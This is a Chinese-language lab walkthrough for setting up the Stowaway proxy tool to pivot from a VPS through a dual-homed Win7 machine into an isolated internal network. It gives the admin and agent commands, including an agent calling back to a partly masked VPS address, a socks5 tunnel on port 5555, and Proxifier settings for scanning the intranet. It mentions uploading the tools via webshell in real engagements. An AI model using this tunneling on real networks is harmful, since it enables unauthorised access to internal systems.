VPS注意端口的开放情况,首先是监听端口9999,以及socks5的隧道代理端口5555,要在防火墙上开放。

    环境配置
    一台虚拟机win7 双网卡(nat和仅主机模式)
    一台VPS
    一台 win10 (攻击机)
    具体的win7配置
    stowaway - 图1
    仅主机模式的ip需要自己配置为静态ip,让其与物理机不通。
    stowaway - 图2
    Nat的网卡可通外网
    stowaway - 图3
    然后起一个web服务(phpstudy搭建)
    Win7访问其服务,正常访问
    stowaway - 图4
    物理机访问服务,无法访问
    stowaway - 图5
    环境搭建完成之后,那么我们就可以将代理工具分别上传上去(实战的话应该是通过webshell来上传工具到客户端)
    将服务端上传到VPS上面
    客户端上传到win7上面

    执行步骤
    服务端vps上执行命令: ./linux_x64_admin -l 9999
    stowaway - 图6

    客户端win7上执行命令:
    Windows_x64_agent -c 47.xxx.xxx.xx3:9999 –reconnect 2
    stowaway - 图7

    在服务端连接客户端 0代表的是我们的第一个agent
    开启socks5代理 端口是5555
    stowaway - 图8

    然后我们需要在攻击机上面设置代理proxifiter,为了我们可以访问到内网的web服务,达到我们的目标,将代理挂在中转的地方,那么我们通过代理使用工具扫描内网,探测内网服务等操作
    stowaway - 图9
    也可以将代理直接设置在google代理插件上,这样方便我们直接去访问web服务
    stowaway - 图10
    stowaway - 图11
    也可以通过stowaway本身来进行命令执行操作等等
    stowaway - 图12
    stowaway - 图13